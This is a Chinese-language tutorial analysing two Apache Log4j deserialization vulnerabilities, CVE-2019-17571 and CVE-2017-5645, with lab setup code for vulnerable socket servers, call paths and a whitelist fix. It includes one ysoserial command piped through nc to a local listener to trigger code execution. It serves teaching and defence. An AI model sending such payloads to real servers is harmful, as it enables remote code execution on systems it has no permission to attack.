Log4j-Unserialize-Analysis
字数 1029 2025-08-26 22:11:45

Apache Log4j 反序列化漏洞分析教学文档

0x01 漏洞概述

本教学文档详细分析两个Apache Log4j反序列化漏洞:CVE-2019-17571和CVE-2017-5645。

影响版本

  • CVE-2019-17571: 1.2.4 <= Apache Log4j <= 1.2.17
  • CVE-2017-5645: Apache Log4j 2.8.1及以下版本

0x02 CVE-2019-17571漏洞分析

漏洞环境搭建

方法一:使用SocketServer

# 启动SocketServer服务
java -cp /path/to/log4j-1.2.17.jar org.apache.log4j.net.SocketServer 8888 /path/to/log4j.properties

# 触发漏洞
java -jar ysoserial.jar Jdk7u21 "command" | nc 127.0.0.1 8888

方法二:使用Maven项目

<!-- pom.xml -->
<dependency>
    <groupId>log4j</groupId>
    <artifactId>log4j</artifactId>
    <version>1.2.17</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

Java代码启动服务

import org.apache.log4j.net.SimpleSocketServer;

public class Log4jdemo {
    public static void main(String[] args){
        String[] arguments = {"12345", "src/log4j.xml"};
        SimpleSocketServer.main(arguments);
    }
}

漏洞触发流程

  1. 服务端启动SocketServer监听指定端口
  2. 客户端通过Socket发送恶意序列化数据
  3. 服务端serverSocket.accept()接收请求并创建线程
  4. 线程处理SocketNode类实例
  5. SocketNode.run()方法中直接反序列化输入流

关键代码路径

Thread.start()
  → SocketNode.run()
    → ObjectInputStream.readObject()

0x03 CVE-2017-5645漏洞分析

漏洞环境搭建

Maven依赖

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.8.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.8.1</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

Java代码启动服务

import java.io.IOException;
import java.io.ObjectInputStream;
import org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge;
import org.apache.logging.log4j.core.net.server.TcpSocketServer;

public class Log4jDemo2 {
    public static void main(String[] args) {
        TcpSocketServer<ObjectInputStream> Log4jServer = null;
        try {
            Log4jServer = new TcpSocketServer(12345, 
                new ObjectInputStreamLogEventBridge());
        } catch (IOException e) {
            e.printStackTrace();
        }
        Log4jServer.run();
    }
}

漏洞触发流程

  1. 创建TcpSocketServer实例,传入端口和ObjectInputStreamLogEventBridge
  2. 调用TcpSocketServer.run()启动服务
  3. 客户端发送恶意序列化数据
  4. 服务端serverSocket.accept()接收请求
  5. 创建SocketHandler处理连接
  6. ObjectInputStreamLogEventBridge.logEvents()方法中反序列化数据

关键代码路径

TcpSocketServer.run()
  → SocketHandler处理连接
    → ObjectInputStreamLogEventBridge.wrapStream()
      → new ObjectInputStream()
    → ObjectInputStreamLogEventBridge.logEvents()
      → ObjectInputStream.readObject()

0x04 漏洞修复方案

CVE-2017-5645修复方案

org.apache.logging.log4j.core.util.FilteredObjectInputStream.resolveClass方法中添加类名检查:

protected Class<?> resolveClass(ObjectStreamClass desc) 
    throws IOException, ClassNotFoundException {
    // 检查类名是否以org.apache.logging.log4j.开头
    if (!desc.getName().startsWith("org.apache.logging.log4j.")) {
        throw new InvalidObjectException("Unauthorized deserialization attempt");
    }
    return super.resolveClass(desc);
}

通用修复建议

  1. 升级到最新安全版本
  2. 避免使用不安全的反序列化操作
  3. 实施输入验证和过滤
  4. 使用白名单机制限制可反序列化的类

0x05 漏洞利用限制

  1. 需要启用SocketServer功能
  2. 需要网络可达
  3. 依赖特定JDK版本和gadget链
  4. 内网环境利用可能性较高

0x06 总结

这两个漏洞展示了Log4j在不同版本中存在的反序列化安全问题。虽然利用条件有一定限制,但在特定环境下仍可能造成严重危害。开发者应关注组件安全更新,及时修补已知漏洞。

Apache Log4j 反序列化漏洞分析教学文档 0x01 漏洞概述 本教学文档详细分析两个Apache Log4j反序列化漏洞:CVE-2019-17571和CVE-2017-5645。 影响版本 : CVE-2019-17571: 1.2.4 <= Apache Log4j <= 1.2.17 CVE-2017-5645: Apache Log4j 2.8.1及以下版本 0x02 CVE-2019-17571漏洞分析 漏洞环境搭建 方法一:使用SocketServer 方法二:使用Maven项目 Java代码启动服务 : 漏洞触发流程 服务端启动SocketServer监听指定端口 客户端通过Socket发送恶意序列化数据 服务端 serverSocket.accept() 接收请求并创建线程 线程处理 SocketNode 类实例 SocketNode.run() 方法中直接反序列化输入流 关键代码路径 : 0x03 CVE-2017-5645漏洞分析 漏洞环境搭建 Maven依赖 : Java代码启动服务 : 漏洞触发流程 创建 TcpSocketServer 实例,传入端口和 ObjectInputStreamLogEventBridge 调用 TcpSocketServer.run() 启动服务 客户端发送恶意序列化数据 服务端 serverSocket.accept() 接收请求 创建 SocketHandler 处理连接 ObjectInputStreamLogEventBridge.logEvents() 方法中反序列化数据 关键代码路径 : 0x04 漏洞修复方案 CVE-2017-5645修复方案 在 org.apache.logging.log4j.core.util.FilteredObjectInputStream.resolveClass 方法中添加类名检查: 通用修复建议 升级到最新安全版本 避免使用不安全的反序列化操作 实施输入验证和过滤 使用白名单机制限制可反序列化的类 0x05 漏洞利用限制 需要启用SocketServer功能 需要网络可达 依赖特定JDK版本和gadget链 内网环境利用可能性较高 0x06 总结 这两个漏洞展示了Log4j在不同版本中存在的反序列化安全问题。虽然利用条件有一定限制,但在特定环境下仍可能造成严重危害。开发者应关注组件安全更新,及时修补已知漏洞。